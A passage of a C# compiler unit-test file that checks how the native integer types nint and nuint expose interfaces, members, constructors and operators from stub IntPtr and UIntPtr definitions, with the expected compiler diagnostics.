F2(n);
F3<nint>(n);
F3<IntPtr>(n);
F3((IntPtr)n);
}
}";
var comp = CreateEmptyCompilation(new[] { sourceA, sourceB }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
}
[Fact]
public void IEquatable()
{
// Minimal definitions.
verifyAll(includesIEquatable: true,
@"namespace System
{
public class Object { }
public class String { }
public abstract class ValueType { }
public struct Void { }
public struct Boolean { }
public struct Int32 { }
public interface IEquatable<T> { }
public struct IntPtr : IEquatable<IntPtr> { }
public struct UIntPtr : IEquatable<UIntPtr> { }
}");
// IEquatable<T> in global namespace.
verifyAll(includesIEquatable: false,
@"public interface IEquatable<T> { }
namespace System
{
public class Object { }
public class String { }
public abstract class ValueType { }
public struct Void { }
public struct Boolean { }
public struct Int32 { }
public struct IntPtr : IEquatable<IntPtr> { }
public struct UIntPtr : IEquatable<UIntPtr> { }
}");
// IEquatable<T> in other namespace.
verifyAll(includesIEquatable: false,
@"namespace Other
{
public interface IEquatable<T> { }
}
namespace System
{
public class Object { }
public class String { }
public abstract class ValueType { }
public struct Void { }
public struct Boolean { }
public struct Int32 { }
public struct IntPtr : Other.IEquatable<IntPtr> { }
public struct UIntPtr : Other.IEquatable<UIntPtr> { }
}");
// IEquatable<T> nested in "System" type.
verifyAll(includesIEquatable: false,
@"namespace System
{
public class Object { }
public class String { }
public abstract class ValueType { }
public struct Void { }
public struct Boolean { }
public struct Int32 { }
public class System
{
public interface IEquatable<T> { }
}
public struct IntPtr : System.IEquatable<IntPtr> { }
public struct UIntPtr : System.IEquatable<UIntPtr> { }
}");
// IEquatable<T> nested in other type.
verifyAll(includesIEquatable: false,
@"namespace System
{
public class Object { }
public class String { }
public abstract class ValueType { }
public struct Void { }
public struct Boolean { }
public struct Int32 { }
public class Other
{
public interface IEquatable<T> { }
}
public struct IntPtr : Other.IEquatable<IntPtr> { }
public struct UIntPtr : Other.IEquatable<UIntPtr> { }
}");
// IEquatable.
verifyAll(includesIEquatable: false,
@"namespace System
{
public class Object { }
public class String { }
public abstract class ValueType { }
public struct Void { }
public struct Boolean { }
public struct Int32 { }
public interface IEquatable { }
public struct IntPtr : IEquatable { }
public struct UIntPtr : IEquatable { }
}");
// IEquatable<T, U>.
verifyAll(includesIEquatable: false,
@"namespace System
{
public class Object { }
public class String { }
public abstract class ValueType { }
public struct Void { }
public struct Boolean { }
public struct Int32 { }
public interface IEquatable<T, U> { }
public struct IntPtr : IEquatable<IntPtr, IntPtr> { }
public struct UIntPtr : IEquatable<UIntPtr, UIntPtr> { }
}");
// IEquatable<object> and IEquatable<ValueType>
verifyAll(includesIEquatable: false,
@"namespace System
{
public class Object { }
public class String { }
public abstract class ValueType { }
public struct Void { }
public struct Boolean { }
public struct Int32 { }
public interface IEquatable<T> { }
public struct IntPtr : IEquatable<object> { }
public struct UIntPtr : IEquatable<ValueType> { }
}");
// IEquatable<System.UIntPtr> and IEquatable<System.IntPtr>.
verifyAll(includesIEquatable: false,
@"namespace System
{
public class Object { }
public class String { }
public abstract class ValueType { }
public struct Void { }
public struct Boolean { }
public struct Int32 { }
public interface IEquatable<T> { }
public struct IntPtr : IEquatable<UIntPtr> { }
public struct UIntPtr : IEquatable<IntPtr> { }
}");
// IEquatable<nint> and IEquatable<nuint>.
var comp = CreateEmptyCompilation(
@"namespace System
{
public class Object { }
public class String { }
public abstract class ValueType { }
public struct Void { }
public struct Boolean { }
public struct Int32 { }
public struct Enum { }
public class Attribute { }
public class AttributeUsageAttribute : Attribute
{
public AttributeUsageAttribute(AttributeTargets validOn) { }
public bool AllowMultiple { get; set; }
public bool Inherited { get; set; }
}
public enum AttributeTargets { }
public interface IEquatable<T> { }
public struct IntPtr : IEquatable<nint> { }
public struct UIntPtr : IEquatable<nuint> { }
}",
parseOptions: TestOptions.Regular9);
verifyReference(comp.EmitToImageReference(EmitOptions.Default.WithRuntimeMetadataVersion("0.0.0.0")), includesIEquatable: true);
// IEquatable<nuint> and IEquatable<nint>.
comp = CreateEmptyCompilation(
@"namespace System
{
public class Object { }
public class String { }
public abstract class ValueType { }
public struct Void { }
public struct Boolean { }
public struct Int32 { }
public struct Enum { }
public class Attribute { }
public class AttributeUsageAttribute : Attribute
{
public AttributeUsageAttribute(AttributeTargets validOn) { }
public bool AllowMultiple { get; set; }
public bool Inherited { get; set; }
}
public enum AttributeTargets { }
public interface IEquatable<T> { }
public struct IntPtr : IEquatable<nuint> { }
public struct UIntPtr : IEquatable<nint> { }
}",
parseOptions: TestOptions.Regular9);
verifyReference(comp.EmitToImageReference(EmitOptions.Default.WithRuntimeMetadataVersion("0.0.0.0")), includesIEquatable: false);
static void verifyAll(bool includesIEquatable, string sourceA)
{
var sourceB =
@"interface I
{
nint F1();
nuint F2();
}";
var comp = CreateEmptyCompilation(new[] { sourceA, sourceB }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
verifyCompilation(comp, includesIEquatable);
comp = CreateEmptyCompilation(sourceA);
comp.VerifyDiagnostics();
var ref1 = comp.ToMetadataReference();
var ref2 = comp.EmitToImageReference();
comp = CreateEmptyCompilation(sourceB, references: new[] { ref1 }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
verifyCompilation(comp, includesIEquatable);
comp = CreateEmptyCompilation(sourceB, references: new[] { ref2 }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
verifyCompilation(comp, includesIEquatable);
}
static void verifyReference(MetadataReference reference, bool includesIEquatable)
{
var sourceB =
@"interface I
{
nint F1();
nuint F2();
}";
var comp = CreateEmptyCompilation(sourceB, references: new[] { reference }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
verifyCompilation(comp, includesIEquatable);
}
static void verifyCompilation(CSharpCompilation comp, bool includesIEquatable)
{
verifyInterfaces(comp, (NamedTypeSymbol)comp.GetMember<MethodSymbol>("I.F1").ReturnType, SpecialType.System_IntPtr, includesIEquatable);
verifyInterfaces(comp, (NamedTypeSymbol)comp.GetMember<MethodSymbol>("I.F2").ReturnType, SpecialType.System_UIntPtr, includesIEquatable);
}
static void verifyInterfaces(CSharpCompilation comp, NamedTypeSymbol type, SpecialType specialType, bool includesIEquatable)
{
var underlyingType = type.NativeIntegerUnderlyingType;
Assert.True(type.IsNativeIntegerType);
Assert.Equal(specialType, underlyingType.SpecialType);
var interfaces = type.InterfacesNoUseSiteDiagnostics(null);
Assert.Equal(interfaces, type.GetDeclaredInterfaces(null));
VerifyInterfaces(underlyingType, underlyingType.InterfacesNoUseSiteDiagnostics(null), type, interfaces);
Assert.Equal(1, interfaces.Length);
if (includesIEquatable)
{
var @interface = interfaces.Single();
var def = comp.GetWellKnownType(WellKnownType.System_IEquatable_T);
Assert.NotNull(def);
Assert.Equal(def, @interface.OriginalDefinition);
Assert.Equal(type, @interface.TypeArgumentsWithAnnotationsNoUseSiteDiagnostics[0].Type);
}
}
}
[Fact]
public void CreateNativeIntegerTypeSymbol_FromMetadata()
{
var comp = CreateCompilation("");
comp.VerifyDiagnostics();
VerifyCreateNativeIntegerTypeSymbol(comp);
}
[Fact]
public void CreateNativeIntegerTypeSymbol_FromSource()
{
var source0 =
@"namespace System
{
public class Object { }
public class String { }
public abstract class ValueType { }
public struct Void { }
public struct Boolean { }
public struct Int32 { }
public struct IntPtr { }
public struct UIntPtr { }
}";
var comp = CreateEmptyCompilation(source0, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
VerifyCreateNativeIntegerTypeSymbol(comp);
var ref1 = comp.ToMetadataReference();
var ref2 = comp.EmitToImageReference();
comp = CreateEmptyCompilation("", references: new[] { ref1 }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
VerifyCreateNativeIntegerTypeSymbol(comp);
comp = CreateEmptyCompilation("", references: new[] { ref2 }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
VerifyCreateNativeIntegerTypeSymbol(comp);
}
private static void VerifyCreateNativeIntegerTypeSymbol(CSharpCompilation comp)
{
verifyInternalType(comp, signed: true);
verifyInternalType(comp, signed: false);
verifyPublicType(comp, signed: true);
verifyPublicType(comp, signed: false);
static void verifyInternalType(CSharpCompilation comp, bool signed)
{
var type = comp.CreateNativeIntegerTypeSymbol(signed);
VerifyType(type, signed, isNativeInt: true);
}
static void verifyPublicType(Compilation comp, bool signed)
{
var type = comp.CreateNativeIntegerTypeSymbol(signed);
VerifyType(type, signed, isNativeInt: true);
var underlyingType = type.NativeIntegerUnderlyingType;
Assert.NotNull(underlyingType);
Assert.Equal(CodeAnalysis.NullableAnnotation.NotAnnotated, underlyingType.NullableAnnotation);
Assert.Same(underlyingType, ((INamedTypeSymbol)type.WithNullableAnnotation(CodeAnalysis.NullableAnnotation.None)).NativeIntegerUnderlyingType);
Assert.Same(underlyingType, ((INamedTypeSymbol)type.WithNullableAnnotation(CodeAnalysis.NullableAnnotation.Annotated)).NativeIntegerUnderlyingType);
Assert.Same(underlyingType, ((INamedTypeSymbol)type.WithNullableAnnotation(CodeAnalysis.NullableAnnotation.NotAnnotated)).NativeIntegerUnderlyingType);
}
}
[Fact]
public void CreateNativeIntegerTypeSymbol_Missing()
{
var source0 =
@"namespace System
{
public class Object { }
public abstract class ValueType { }
public struct Void { }
}";
var comp = CreateEmptyCompilation(source0, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
verifyCreateNativeIntegerTypeSymbol(comp);
var ref1 = comp.ToMetadataReference();
var ref2 = comp.EmitToImageReference();
comp = CreateEmptyCompilation("", references: new[] { ref1 }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
verifyCreateNativeIntegerTypeSymbol(comp);
comp = CreateEmptyCompilation("", references: new[] { ref2 }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
verifyCreateNativeIntegerTypeSymbol(comp);
static void verifyCreateNativeIntegerTypeSymbol(CSharpCompilation comp)
{
VerifyErrorType(comp.CreateNativeIntegerTypeSymbol(signed: true), SpecialType.System_IntPtr, isNativeInt: true);
VerifyErrorType(comp.CreateNativeIntegerTypeSymbol(signed: false), SpecialType.System_UIntPtr, isNativeInt: true);
VerifyErrorType(((Compilation)comp).CreateNativeIntegerTypeSymbol(signed: true), SpecialType.System_IntPtr, isNativeInt: true);
VerifyErrorType(((Compilation)comp).CreateNativeIntegerTypeSymbol(signed: false), SpecialType.System_UIntPtr, isNativeInt: true);
}
}
/// <summary>
/// Static members Zero, Size, Add(), Subtract() are explicitly excluded from nint and nuint.
/// Other static members are implicitly included on nint and nuint.
/// </summary>
[Theory]
[InlineData(false)]
[InlineData(true)]
public void StaticMembers(bool useCompilationReference)
{
var sourceA =
@"namespace System
{
public class Object { }
public class String { }
public abstract class ValueType { }
public struct Void { }
public struct Boolean { }
public struct Int32 { }
public struct IntPtr
{
public static readonly IntPtr Zero;
public static int Size => 0;
public static IntPtr MaxValue => default;
public static IntPtr MinValue => default;
public static IntPtr Add(IntPtr ptr, int offset) => default;
public static IntPtr Subtract(IntPtr ptr, int offset) => default;
public static IntPtr Parse(string s) => default;
public static bool TryParse(string s, out IntPtr value)
{
value = default;
return false;
}
}
public struct UIntPtr
{
public static readonly UIntPtr Zero;
public static int Size => 0;
public static UIntPtr MaxValue => default;
public static UIntPtr MinValue => default;
public static UIntPtr Add(UIntPtr ptr, int offset) => default;
public static UIntPtr Subtract(UIntPtr ptr, int offset) => default;
public static UIntPtr Parse(string s) => default;
public static bool TryParse(string s, out UIntPtr value)
{
value = default;
return false;
}
}
}";
var comp = CreateEmptyCompilation(sourceA);
comp.VerifyDiagnostics();
var refA = AsReference(comp, useCompilationReference);
var sourceB =
@"class Program
{
static nint F1()
{
_ = nint.Zero;
_ = nint.Size;
var x1 = nint.MaxValue;
var x2 = nint.MinValue;
_ = nint.Add(x1, 2);
_ = nint.Subtract(x1, 3);
var x3 = nint.Parse(null);
_ = nint.TryParse(null, out var x4);
return 0;
}
static nuint F2()
{
_ = nuint.Zero;
_ = nuint.Size;
var y1 = nuint.MaxValue;
var y2 = nuint.MinValue;
_ = nuint.Add(y1, 2);
_ = nuint.Subtract(y1, 3);
var y3 = nuint.Parse(null);
_ = nuint.TryParse(null, out var y4);
return 0;
}
}";
comp = CreateEmptyCompilation(sourceB, references: new[] { refA }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(
// (5,18): error CS0117: 'nint' does not contain a definition for 'Zero'
// _ = nint.Zero;
Diagnostic(ErrorCode.ERR_NoSuchMember, "Zero").WithArguments("nint", "Zero").WithLocation(5, 18),
// (6,18): error CS0117: 'nint' does not contain a definition for 'Size'
// _ = nint.Size;
Diagnostic(ErrorCode.ERR_NoSuchMember, "Size").WithArguments("nint", "Size").WithLocation(6, 18),
// (9,18): error CS0117: 'nint' does not contain a definition for 'Add'
// _ = nint.Add(x1, x2);
Diagnostic(ErrorCode.ERR_NoSuchMember, "Add").WithArguments("nint", "Add").WithLocation(9, 18),
// (10,18): error CS0117: 'nint' does not contain a definition for 'Subtract'
// _ = nint.Subtract(x1, x2);
Diagnostic(ErrorCode.ERR_NoSuchMember, "Subtract").WithArguments("nint", "Subtract").WithLocation(10, 18),
// (17,19): error CS0117: 'nuint' does not contain a definition for 'Zero'
// _ = nuint.Zero;
Diagnostic(ErrorCode.ERR_NoSuchMember, "Zero").WithArguments("nuint", "Zero").WithLocation(17, 19),
// (18,19): error CS0117: 'nuint' does not contain a definition for 'Size'
// _ = nuint.Size;
Diagnostic(ErrorCode.ERR_NoSuchMember, "Size").WithArguments("nuint", "Size").WithLocation(18, 19),
// (21,19): error CS0117: 'nuint' does not contain a definition for 'Add'
// _ = nuint.Add(y1, y2);
Diagnostic(ErrorCode.ERR_NoSuchMember, "Add").WithArguments("nuint", "Add").WithLocation(21, 19),
// (22,19): error CS0117: 'nuint' does not contain a definition for 'Subtract'
// _ = nuint.Subtract(y1, y2);
Diagnostic(ErrorCode.ERR_NoSuchMember, "Subtract").WithArguments("nuint", "Subtract").WithLocation(22, 19));
verifyType((NamedTypeSymbol)comp.GetMember<MethodSymbol>("Program.F1").ReturnType, signed: true);
verifyType((NamedTypeSymbol)comp.GetMember<MethodSymbol>("Program.F2").ReturnType, signed: false);
var tree = comp.SyntaxTrees[0];
var model = comp.GetSemanticModel(tree);
var actualLocals = tree.GetRoot().DescendantNodes().OfType<VariableDeclaratorSyntax>().Select(d => model.GetDeclaredSymbol(d).ToTestDisplayString());
var expectedLocals = new[]
{
"nint x1",
"nint x2",
"nint x3",
"nuint y1",
"nuint y2",
"nuint y3",
};
AssertEx.Equal(expectedLocals, actualLocals);
static void verifyType(NamedTypeSymbol type, bool signed)
{
Assert.True(type.IsNativeIntegerType);
VerifyType(type, signed: signed, isNativeInt: true);
VerifyType(type.GetPublicSymbol(), signed: signed, isNativeInt: true);
var members = type.GetMembers().Sort(SymbolComparison);
var actualMembers = members.SelectAsArray(m => m.ToTestDisplayString());
var expectedMembers = new[]
{
$"System.Boolean {type}.TryParse(System.String s, out {type} value)",
$"{type} {type}.MaxValue {{ get; }}",
$"{type} {type}.MaxValue.get",
$"{type} {type}.MinValue {{ get; }}",
$"{type} {type}.MinValue.get",
$"{type} {type}.Parse(System.String s)",
$"{type}..ctor()",
};
AssertEx.Equal(expectedMembers, actualMembers);
var property = (PropertySymbol)members.Single(m => m.Name == "MaxValue");
var getMethod = (MethodSymbol)members.Single(m => m.Name == "get_MaxValue");
Assert.Same(getMethod, property.GetMethod);
Assert.Null(property.SetMethod);
var underlyingType = type.NativeIntegerUnderlyingType;
VerifyMembers(underlyingType, type, signed);
VerifyMembers(underlyingType.GetPublicSymbol(), type.GetPublicSymbol(), signed);
}
}
/// <summary>
/// Instance members ToInt32(), ToInt64(), ToPointer() are explicitly excluded from nint and nuint.
/// Other instance members are implicitly included on nint and nuint.
/// </summary>
[Theory]
[InlineData(false)]
[InlineData(true)]
public void InstanceMembers(bool useCompilationReference)
{
var sourceA =
@"namespace System
{
public class Object { }
public class String { }
public abstract class ValueType { }
public struct Void { }
public struct Boolean { }
public struct Int32 { }
public struct Int64 { }
public struct UInt32 { }
public struct UInt64 { }
public interface IFormatProvider { }
public struct IntPtr
{
public int ToInt32() => default;
public long ToInt64() => default;
public uint ToUInt32() => default;
public ulong ToUInt64() => default;
unsafe public void* ToPointer() => default;
public int CompareTo(object other) => default;
public int CompareTo(IntPtr other) => default;
public bool Equals(IntPtr other) => default;
public string ToString(string format) => default;
public string ToString(IFormatProvider provider) => default;
public string ToString(string format, IFormatProvider provider) => default;
}
public struct UIntPtr
{
public int ToInt32() => default;
public long ToInt64() => default;
public uint ToUInt32() => default;
public ulong ToUInt64() => default;
unsafe public void* ToPointer() => default;
public int CompareTo(object other) => default;
public int CompareTo(UIntPtr other) => default;
public bool Equals(UIntPtr other) => default;
public string ToString(string format) => default;
public string ToString(IFormatProvider provider) => default;
public string ToString(string format, IFormatProvider provider) => default;
}
}";
var comp = CreateEmptyCompilation(sourceA, options: TestOptions.UnsafeReleaseDll);
comp.VerifyDiagnostics();
var refA = AsReference(comp, useCompilationReference);
var sourceB =
@"using System;
class Program
{
unsafe static void F1(nint i)
{
_ = i.ToInt32();
_ = i.ToInt64();
_ = i.ToUInt32();
_ = i.ToUInt64();
_ = i.ToPointer();
_ = i.CompareTo(null);
_ = i.CompareTo(i);
_ = i.Equals(i);
_ = i.ToString((string)null);
_ = i.ToString((IFormatProvider)null);
_ = i.ToString((string)null, (IFormatProvider)null);
}
unsafe static void F2(nuint u)
{
_ = u.ToInt32();
_ = u.ToInt64();
_ = u.ToUInt32();
_ = u.ToUInt64();
_ = u.ToPointer();
_ = u.CompareTo(null);
_ = u.CompareTo(u);
_ = u.Equals(u);
_ = u.ToString((string)null);
_ = u.ToString((IFormatProvider)null);
_ = u.ToString((string)null, (IFormatProvider)null);
}
}";
comp = CreateEmptyCompilation(sourceB, references: new[] { refA }, parseOptions: TestOptions.Regular9, options: TestOptions.UnsafeReleaseDll);
comp.VerifyDiagnostics(
// (6,15): error CS1061: 'nint' does not contain a definition for 'ToInt32' and no accessible extension method 'ToInt32' accepting a first argument of type 'nint' could be found (are you missing a using directive or an assembly reference?)
// _ = i.ToInt32();
Diagnostic(ErrorCode.ERR_NoSuchMemberOrExtension, "ToInt32").WithArguments("nint", "ToInt32").WithLocation(6, 15),
// (7,15): error CS1061: 'nint' does not contain a definition for 'ToInt64' and no accessible extension method 'ToInt64' accepting a first argument of type 'nint' could be found (are you missing a using directive or an assembly reference?)
// _ = i.ToInt64();
Diagnostic(ErrorCode.ERR_NoSuchMemberOrExtension, "ToInt64").WithArguments("nint", "ToInt64").WithLocation(7, 15),
// (8,15): error CS1061: 'nint' does not contain a definition for 'ToUInt32' and no accessible extension method 'ToUInt32' accepting a first argument of type 'nint' could be found (are you missing a using directive or an assembly reference?)
// _ = i.ToUInt32();
Diagnostic(ErrorCode.ERR_NoSuchMemberOrExtension, "ToUInt32").WithArguments("nint", "ToUInt32").WithLocation(8, 15),
// (9,15): error CS1061: 'nint' does not contain a definition for 'ToUInt64' and no accessible extension method 'ToUInt64' accepting a first argument of type 'nint' could be found (are you missing a using directive or an assembly reference?)
// _ = i.ToUInt64();
Diagnostic(ErrorCode.ERR_NoSuchMemberOrExtension, "ToUInt64").WithArguments("nint", "ToUInt64").WithLocation(9, 15),
// (10,15): error CS1061: 'nint' does not contain a definition for 'ToPointer' and no accessible extension method 'ToPointer' accepting a first argument of type 'nint' could be found (are you missing a using directive or an assembly reference?)
// _ = i.ToPointer();
Diagnostic(ErrorCode.ERR_NoSuchMemberOrExtension, "ToPointer").WithArguments("nint", "ToPointer").WithLocation(10, 15),
// (20,15): error CS1061: 'nuint' does not contain a definition for 'ToInt32' and no accessible extension method 'ToInt32' accepting a first argument of type 'nuint' could be found (are you missing a using directive or an assembly reference?)
// _ = u.ToInt32();
Diagnostic(ErrorCode.ERR_NoSuchMemberOrExtension, "ToInt32").WithArguments("nuint", "ToInt32").WithLocation(20, 15),
// (21,15): error CS1061: 'nuint' does not contain a definition for 'ToInt64' and no accessible extension method 'ToInt64' accepting a first argument of type 'nuint' could be found (are you missing a using directive or an assembly reference?)
// _ = u.ToInt64();
Diagnostic(ErrorCode.ERR_NoSuchMemberOrExtension, "ToInt64").WithArguments("nuint", "ToInt64").WithLocation(21, 15),
// (22,15): error CS1061: 'nuint' does not contain a definition for 'ToUInt32' and no accessible extension method 'ToUInt32' accepting a first argument of type 'nuint' could be found (are you missing a using directive or an assembly reference?)
// _ = u.ToUInt32();
Diagnostic(ErrorCode.ERR_NoSuchMemberOrExtension, "ToUInt32").WithArguments("nuint", "ToUInt32").WithLocation(22, 15),
// (23,15): error CS1061: 'nuint' does not contain a definition for 'ToUInt64' and no accessible extension method 'ToUInt64' accepting a first argument of type 'nuint' could be found (are you missing a using directive or an assembly reference?)
// _ = u.ToUInt64();
Diagnostic(ErrorCode.ERR_NoSuchMemberOrExtension, "ToUInt64").WithArguments("nuint", "ToUInt64").WithLocation(23, 15),
// (24,15): error CS1061: 'nuint' does not contain a definition for 'ToPointer' and no accessible extension method 'ToPointer' accepting a first argument of type 'nuint' could be found (are you missing a using directive or an assembly reference?)
// _ = u.ToPointer();
Diagnostic(ErrorCode.ERR_NoSuchMemberOrExtension, "ToPointer").WithArguments("nuint", "ToPointer").WithLocation(24, 15));
verifyType((NamedTypeSymbol)comp.GetMember<MethodSymbol>("Program.F1").Parameters[0].Type, signed: true);
verifyType((NamedTypeSymbol)comp.GetMember<MethodSymbol>("Program.F2").Parameters[0].Type, signed: false);
static void verifyType(NamedTypeSymbol type, bool signed)
{
Assert.True(type.IsNativeIntegerType);
VerifyType(type, signed: signed, isNativeInt: true);
VerifyType(type.GetPublicSymbol(), signed: signed, isNativeInt: true);
var members = type.GetMembers().Sort(SymbolComparison);
var actualMembers = members.SelectAsArray(m => m.ToTestDisplayString());
var expectedMembers = new[]
{
$"System.Boolean {type}.Equals({type} other)",
$"System.Int32 {type}.CompareTo(System.Object other)",
$"System.Int32 {type}.CompareTo({type} other)",
$"System.String {type}.ToString(System.IFormatProvider provider)",
$"System.String {type}.ToString(System.String format)",
$"System.String {type}.ToString(System.String format, System.IFormatProvider provider)",
$"{type}..ctor()",
};
AssertEx.Equal(expectedMembers, actualMembers);
var underlyingType = type.NativeIntegerUnderlyingType;
VerifyMembers(underlyingType, type, signed);
VerifyMembers(underlyingType.GetPublicSymbol(), type.GetPublicSymbol(), signed);
}
}
/// <summary>
/// Instance members ToInt32(), ToInt64(), ToPointer() are explicitly excluded from nint and nuint.
/// Other instance members are implicitly included on nint and nuint.
/// </summary>
[Theory]
[InlineData(false)]
[InlineData(true)]
public void ConstructorsAndOperators(bool useCompilationReference)
{
var sourceA =
@"namespace System
{
public class Object { }
public class String { }
public abstract class ValueType { }
public struct Void { }
public struct Boolean { }
public struct Int32 { }
public struct Int64 { }
public struct UInt32 { }
public struct UInt64 { }
public unsafe struct IntPtr
{
public IntPtr(int i) { }
public IntPtr(long l) { }
public IntPtr(void* p) { }
public static explicit operator IntPtr(int i) => default;
public static explicit operator IntPtr(long l) => default;
public static explicit operator IntPtr(void* p) => default;
public static explicit operator int(IntPtr i) => default;
public static explicit operator long(IntPtr i) => default;
public static explicit operator void*(IntPtr i) => default;
public static IntPtr operator+(IntPtr x, int y) => default;
public static IntPtr operator-(IntPtr x, int y) => default;
public static bool operator==(IntPtr x, IntPtr y) => default;
public static bool operator!=(IntPtr x, IntPtr y) => default;
}
public unsafe struct UIntPtr
{
public UIntPtr(uint i) { }
public UIntPtr(ulong l) { }
public UIntPtr(void* p) { }
public static explicit operator UIntPtr(uint i) => default;
public static explicit operator UIntPtr(ulong l) => default;
public static explicit operator UIntPtr(void* p) => default;
public static explicit operator uint(UIntPtr i) => default;
public static explicit operator ulong(UIntPtr i) => default;
public static explicit operator void*(UIntPtr i) => default;
public static UIntPtr operator+(UIntPtr x, int y) => default;
public static UIntPtr operator-(UIntPtr x, int y) => default;
public static bool operator==(UIntPtr x, UIntPtr y) => default;
public static bool operator!=(UIntPtr x, UIntPtr y) => default;
}
}";
var comp = CreateEmptyCompilation(sourceA, options: TestOptions.UnsafeReleaseDll);
comp.VerifyDiagnostics(
// (12,26): warning CS0660: 'IntPtr' defines operator == or operator != but does not override Object.Equals(object o)
// public unsafe struct IntPtr
Diagnostic(ErrorCode.WRN_EqualityOpWithoutEquals, "IntPtr").WithArguments("System.IntPtr").WithLocation(12, 26),
// (12,26): warning CS0661: 'IntPtr' defines operator == or operator != but does not override Object.GetHashCode()
// public unsafe struct IntPtr
Diagnostic(ErrorCode.WRN_EqualityOpWithoutGetHashCode, "IntPtr").WithArguments("System.IntPtr").WithLocation(12, 26),
// (28,26): warning CS0660: 'UIntPtr' defines operator == or operator != but does not override Object.Equals(object o)
// public unsafe struct UIntPtr
Diagnostic(ErrorCode.WRN_EqualityOpWithoutEquals, "UIntPtr").WithArguments("System.UIntPtr").WithLocation(28, 26),
// (28,26): warning CS0661: 'UIntPtr' defines operator == or operator != but does not override Object.GetHashCode()
// public unsafe struct UIntPtr
Diagnostic(ErrorCode.WRN_EqualityOpWithoutGetHashCode, "UIntPtr").WithArguments("System.UIntPtr").WithLocation(28, 26));
var refA = AsReference(comp, useCompilationReference);
var sourceB =
@"class Program
{
unsafe static void F1(nint x, nint y)
{
void* p = default;
_ = new nint();
_ = new nint(1);
_ = new nint(2L);
_ = new nint(p);
_ = (nint)1;
_ = (nint)2L;
_ = (nint)p;
_ = (int)x;
_ = (long)x;
_ = (void*)x;
_ = x + 1;
_ = x - 2;
_ = x == y;
_ = x != y;
}
unsafe static void F2(nuint x, nuint y)
{
void* p = default;
_ = new nuint();
_ = new nuint(1);
_ = new nuint(2UL);
_ = new nuint(p);
_ = (nuint)1;
_ = (nuint)2UL;
_ = (nuint)p;
_ = (uint)x;
_ = (ulong)x;
_ = (void*)x;
_ = x + 1;
_ = x - 2;
_ = x == y;
_ = x != y;
}
}";
comp = CreateEmptyCompilation(sourceB, references: new[] { refA }, parseOptions: TestOptions.Regular9, options: TestOptions.UnsafeReleaseDll);
comp.VerifyDiagnostics(
// (7,17): error CS1729: 'nint' does not contain a constructor that takes 1 arguments
// _ = new nint(1);
Diagnostic(ErrorCode.ERR_BadCtorArgCount, "nint").WithArguments("nint", "1").WithLocation(7, 17),
// (8,17): error CS1729: 'nint' does not contain a constructor that takes 1 arguments
// _ = new nint(2L);
Diagnostic(ErrorCode.ERR_BadCtorArgCount, "nint").WithArguments("nint", "1").WithLocation(8, 17),
// (9,17): error CS1729: 'nint' does not contain a constructor that takes 1 arguments
// _ = new nint(p);
Diagnostic(ErrorCode.ERR_BadCtorArgCount, "nint").WithArguments("nint", "1").WithLocation(9, 17),
// (25,17): error CS1729: 'nuint' does not contain a constructor that takes 1 arguments
// _ = new nuint(1);
Diagnostic(ErrorCode.ERR_BadCtorArgCount, "nuint").WithArguments("nuint", "1").WithLocation(25, 17),
// (26,17): error CS1729: 'nuint' does not contain a constructor that takes 1 arguments
// _ = new nuint(2UL);
Diagnostic(ErrorCode.ERR_BadCtorArgCount, "nuint").WithArguments("nuint", "1").WithLocation(26, 17),
// (27,17): error CS1729: 'nuint' does not contain a constructor that takes 1 arguments
// _ = new nuint(p);
Diagnostic(ErrorCode.ERR_BadCtorArgCount, "nuint").WithArguments("nuint", "1").WithLocation(27, 17));
verifyType((NamedTypeSymbol)comp.GetMember<MethodSymbol>("Program.F1").Parameters[0].Type, signed: true);
verifyType((NamedTypeSymbol)comp.GetMember<MethodSymbol>("Program.F2").Parameters[0].Type, signed: false);
static void verifyType(NamedTypeSymbol type, bool signed)
{
Assert.True(type.IsNativeIntegerType);
VerifyType(type, signed: signed, isNativeInt: true);
VerifyType(type.GetPublicSymbol(), signed: signed, isNativeInt: true);
var members = type.GetMembers().Sort(SymbolComparison);
var actualMembers = members.SelectAsArray(m => m.ToTestDisplayString());
var expectedMembers = new[]
{
$"{type}..ctor()",
};
AssertEx.Equal(expectedMembers, actualMembers);
var underlyingType = type.NativeIntegerUnderlyingType;
VerifyMembers(underlyingType, type, signed);
VerifyMembers(underlyingType.GetPublicSymbol(), type.GetPublicSymbol(), signed);
}
}
/// <summary>
/// Overrides from IntPtr and UIntPtr are implicitly included on nint and nuint.
/// </summary>
[Theory]
[InlineData(false)]
[InlineData(true)]
public void OverriddenMembers(bool useCompilationReference)
{
var sourceA =
@"namespace System
{
public class Object
{
public virtual string ToString() => null;
public virtual int GetHashCode() => 0;
public virtual bool Equals(object obj) => false;
}
public class String { }
public abstract class ValueType
{
public override string ToString() => null;
public override int GetHashCode() => 0;
public override bool Equals(object obj) => false;
}
public struct Void { }
public struct Boolean { }
public struct Int32 { }
public struct IntPtr
{
public override string ToString() => null;
public override int GetHashCode() => 0;
public override bool Equals(object obj) => false;
}
public struct UIntPtr
{
public override string ToString() => null;
public override int GetHashCode() => 0;
public override bool Equals(object obj) => false;
}
}";
var comp = CreateEmptyCompilation(sourceA);
comp.VerifyDiagnostics();
var refA = AsReference(comp, useCompilationReference);
var sourceB =
@"class Program
{
static void F1(nint x, nint y)
{
_ = x.ToString();
_ = x.GetHashCode();
_ = x.Equals(y);
}
static void F2(nuint x, nuint y)
{
_ = x.ToString();
_ = x.GetHashCode();
_ = x.Equals(y);
}
}";
comp = CreateEmptyCompilation(sourceB, references: new[] { refA }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
verifyType((NamedTypeSymbol)comp.GetMember<MethodSymbol>("Program.F1").Parameters[0].Type, signed: true);
verifyType((NamedTypeSymbol)comp.GetMember<MethodSymbol>("Program.F2").Parameters[0].Type, signed: false);
static void verifyType(NamedTypeSymbol type, bool signed)
{
Assert.True(type.IsNativeIntegerType);
